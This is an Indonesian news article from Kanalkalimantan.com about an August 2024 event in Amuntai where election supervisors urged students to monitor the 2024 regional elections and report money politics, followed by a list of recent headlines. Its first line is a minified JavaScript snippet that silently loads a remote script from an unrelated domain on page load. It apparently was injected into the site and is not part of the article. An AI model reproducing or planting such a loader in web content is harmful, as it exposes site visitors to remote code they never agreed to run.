(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Tak Cuma Nyoblos, Awasi Potensi Pelanggaran Pilkada Serentak


KANALKALIMANTAN.COM, AMUNTAI – Ketua Sekolah Tinggi Ilmu Administrasi (STIA) Amuntai Reno Affrian menilai penting peranan pelajar dan mahasiswa terlibat aktif dalam Pemilihan Kepala Daerah (Pilkada) tahun 2024.

Hal itu disampaikannya saat menjadi pembicara dalam sosialisasi pengawasan partisipatif pada Pilkada serentak 2024, sinergi bersama pelajar dan mahasiswa yang digelar Panitia Pengawas Kecamatan (Panwascam) Amuntai Tengah, di aula Hotel Grand Balqis Amuntai, Selasa (20/8/2024).

“Jika pengawasan lemah, maka pelaksanaan Pemilu itu tidak berjalan dengan baik, karena itu perlu keterlibatan semua unsur, salah satunya adalah pelajar dan mahasiswa,” tegas Reno.

Baca juga: MK Buka Jalan Partai Tanpa Kursi Usung Calon, Aksi Borong Parpol Pilkada Hilang

Menurut Reno, kurangnya partisipatif menjadi salah satu faktor potensi money politik di dalam pelaksanaan Pemilu.

Oleh karena itu, ia berharap partisipatif aktif para pelajar dan mahasiswa dalam pengawasan pelaksanaan Pemilu dapat mengurangi potensi money politik. Pengawasan akan mengakar di masyarakat jika menyadari Pemilu bukan untuk kepentingan sesaat, jadi Pemilu bukan uang.

Baca juga: Muhidin-Hasnur Pegang B1-KWK dari PKS, Penuhi Syarat Kursi Pilgub Kalsel

“Partisipasi bukan hanya sudah nyoblos, tapi bagaimana mengawal suara yang sudah diberikan tidak disalahgunakan. Mengetahui rekam jejak orang yang akan dipilih. Karena siapa yang dipilih menentukan masa depan,” imbuhnya.

Selain pengawasan terhadap proses pemilihan, ia berharap pelajar dan mahasiswa ikut memberikan edukasi politik kepada masyarakat di lingkungan masing-masing.

Baca juga: Bawa Motif Khusus, Pemkab HSU Ikut Rekor Muri Kain Khas Banjar Sasirangan Terpanjang

Ketua Panwascam Amuntai Tengah Ahmad Ismail mengharapkan peranan pelajar dan mahasiswa dapat dirasakan pada Pilkada serentak 2024.

Jika kalangan pelajar dan mahasiswa menemukan hal-hal yang bertentangan dan melanggar aturan dalam proses Pemilu, maka mereka dapat melapor ke Panwascam. “Kalian bisa menjadi mata dan telinga bagi kami,” ungkap Ahmad Ismail.

Sosialiasi diikuti pelajar dan mahasiswa dari beberapa sekolah dan perguruan tinggi di HSU diantaranya STAI Rakha Amuntai, STIA Amuntai, STIPER Amuntai dan beberapa sekolah SMA sederajat di Kabupaten HSU. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Muhammad Andi

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

12 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

13 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

15 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

19 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

22 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

22 jam ago